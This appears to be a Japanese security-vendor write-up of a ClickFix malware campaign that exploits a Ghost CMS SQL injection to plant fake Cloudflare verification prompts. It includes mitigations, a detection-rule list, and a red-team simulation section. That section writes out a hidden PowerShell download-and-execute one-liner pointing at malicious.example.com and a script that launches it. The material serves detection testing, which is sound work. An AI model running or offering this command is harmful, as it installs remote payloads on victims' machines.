700以上の教育および技術系ウェブサイト、巨大なClickFixマルウェアキャンペーンで乗っ取られる
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
攻撃者は、Ghostコンテンツ管理システムにおける重大なSQLインジェクションの脆弱性を悪用し、700以上の教育および技術系のウェブサイトを侵害しました。管理者用APIキーを取得した後、偽のCloudflare検証プロンプトを表示する悪意のあるJavaScriptを注入しました。偽のページは訪問者に対してWindowsコマンドをコピー&ペーストさせ、システムにマルウェアをインストールしました。このキャンペーンは、ペイロードを自分で実行させるために社会工学を利用しています。
調査
研究者は問題を CVE-2026-26980として特定し、Ghostのバージョン 3.24.0 から 6.19.0に影響します。成功したエクスプロイトにより、管理者APIキーの抽出を含むデータベースコンテンツへの認証されていないアクセスが可能になりました。攻撃者は盗んだキーを使用してサイトのコンテンツを変更し、ClickFixスタイルの感染フローを起動する悪意のあるスクリプトを埋め込みました。注入されたコードは偽の検証ウィンドウを表示し、ユーザーに対してWindows RunまたはPowerShellを通じてコマンドを実行するように促しました。
軽減策
組織は、Ghostを 6.19.0 以降のバージョンに更新し、そのバージョンで CVE-2026-26980修正します。さらされている管理者APIキーは直ちにローテーションし、APIアクセスは厳しく制限されるべきです。防御者はウェブフィルタリングまたはブラウザ保護を備えたエンドポイントプロテクションを展開し、信頼できないウェブサイトからコマンドをコピーして実行しないようにユーザーを訓練すべきです。
対応
セキュリティチームはGhostベースのウェブサイトでの悪意のあるJavaScriptインジェクションを検出し、偽のCloudflare検証ページを監視するべきです。エンドポイントで、防御者はこのルアーに関連する異常なコマンド実行試行を確認すべきです。もしコンプロマイズが確認された場合、注入されたスクリプトを削除し、影響を受けたAPIキーをリセットし、影響を受けたクライアントシステムのフォレンジック分析を行います。
"graph TB %% クラス定義 classDef action fill:#99ccff classDef operator fill:#ff9900 classDef malware fill:#ffcccc classDef tool fill:#cccccc %% ノード定義 action_sql_injection["<b>アクション</b> – <b>T1674 入力インジェクション</b>: Ghost CMSのSQLインジェクションを悪用してデータベースを読み取り、管理者APIキーを取得する。"] class action_sql_injection action action_content_injection["<b>アクション</b> – <b>T1659 コンテンツインジェクション</b>: 盗まれたAPIキーを使用してサイトページに悪意のあるJavaScriptを注入する。"] class action_content_injection action action_defacement["<b>アクション</b> – <b>T1491 外観改ざん</b>: コピーアンドペーストコマンドを表示する偽のCloudflare検証ダイアログでサイトを改ざん。"] class action_defacement action action_user_copy_paste["<b>アクション</b> – <b>T1204.004 ユーザー実行</b>: 被害者が表示されたコマンドをコピーして実行し、偽の検証を満たす。"] class action_user_copy_paste action action_powershell["<b>アクション</b> – <b>T1059.001 PowerShell</b>: コマンドがPowerShellを起動し、2段階ペイロードをダウンロードして実行する。"] class action_powershell action malware_clickfix["<b>マルウェア</b>: ClickFix<br/><b>目的</b>: PowerShellを介して配信される2段階ペイロード。"] class malware_clickfix malware op_user_execution(("AND")) class op_user_execution operator %% 接続 action_sql_injection –>|導く| action_content_injection action_content_injection –>|導く| action_defacement action_defacement –>|導く| action_user_copy_paste action_user_copy_paste –>|トリガー| op_user_execution op_user_execution –>|実行| action_powershell action_powershell –>|ダウンロード| malware_clickfix "
攻撃の流れ
検出
コマンドライン上の可能性のあるClickFix攻撃パターン (cmdline経由で)
表示
Powershellを介してのダウンロードまたはアップロード (cmdline経由で)
表示
Rundll32 Dllの疑わしいパスの実行 (process_creation経由で)
表示
疑わしいPowershell文字列 (powershell経由で)
表示
Powershellからの疑わしい.NETメソッド呼び出し (powershell経由で)
表示
Powershell難読化インジケータの可能性 (powershell経由で)
表示
トップレベルドメイン(TLD) DNS要求による疑わしいコマンド&コントロール (dns経由で)
表示
偽のCloudflare検証コマンド実行 [Windows Powershell]
表示
Ghost CMSのSQLインジェクションと悪意のあるJavaScriptインジェクションの検出 [Webサーバー]
表示
シミュレーション実行
前提条件: テレメトリー&ベースラインのプリフライトチェックに合格していること。
理由: このセクションでは、攻撃者の手法(TTP)を正確に実行し、検出ルールをトリガーすることを目的とします。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックに期待される正確なテレメトリーを生成することを目指します。
-
攻撃のナラティブとコマンド:
-
社会工学のルアー: 被害者は、Cloudflareの検証を要求するフィッシングメールを受け取ります。メールには「実行」コマンドが含まれています:
偽のCloudflare検証コマンド -
被害者の操作: ユーザーはWindows実行ダイアログを開きます(
Win+R)と、正確な文字列を貼り付けます 偽のCloudflare検証コマンド. -
コマンド実行: 文字列は隠されたPowerShellワンライナーにマッピングされ、悪意のあるペイロードをダウンロードして実行します:
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"実行ダイアログが直接
powershell.exeを上記の引数で呼び出すため、 CommandLine Sysmonによって記録されたフィールドには、以下の文字列が含まれています 偽のCloudflare検証コマンド (攻撃者はそのルールをトリガーするためにそのフレーズをコマンドの前に付けます)。 -
ペイロードの活動: ダウンロードされたスクリプトは、ウェブシェルを
C:ProgramDatacloudflareにドロップし、C2サーバーと接触し、T1505.001を満たします。
-
-
回帰テストスクリプト: 以下のPowerShellスクリプトは、レッドチームが検出トリガーを生成するためのテレメトリーを再現するのに必要な正確なステップを再現します。
<# ClickFixの「偽のCloudflare検証」の実行をシミュレートします。 目的: Sigmaルールが正確なコマンドラインで発火することを確認します。 #> # ステップ1: ダミーペイロード(シミュレートされたウェブシェル)を準備 – 実際のネットワークコールなし。 $payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1" New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null Set-Content -Path $payloadPath -Value "# ダミーウェブシェル – 悪意のあるコードなし" # ステップ2: 被害者が実行する悪意のあるコマンドラインを構築します。 $maliciousCmd = @" 偽のCloudflare検証コマンド powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`"" "@ # ステップ3: cmd.exe /c経由でコマンドを起動して、実行ダイアログをシミュレートします。 # これにより、プロセスコマンドラインにリテラル文字列が保持されます。 $fullCmd = "cmd.exe /c `"$maliciousCmd`"" Write-Host "`n[+] シミュレートされた悪意のあるコマンドを実行中..." Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null # ステップ4: Sysmonがプロセス作成をログするのを少し待ちます。 Start-Sleep -Seconds 5 Write-Host "`n[+] シミュレーション完了。SIEMに検出イベントの確認をします。" # 別途クリーンアップを行います。 -
クリーンアップコマンド: ダミーファイルと残っているプロセスを削除します。
# テストで開始されたPowerShellプロセスがまだ実行中の場合、停止します Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "偽のCloudflare検証コマンド"} | Stop-Process -Force # ダミーウェブシェルフォルダを削除 Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "[+] クリーンアップ完了。"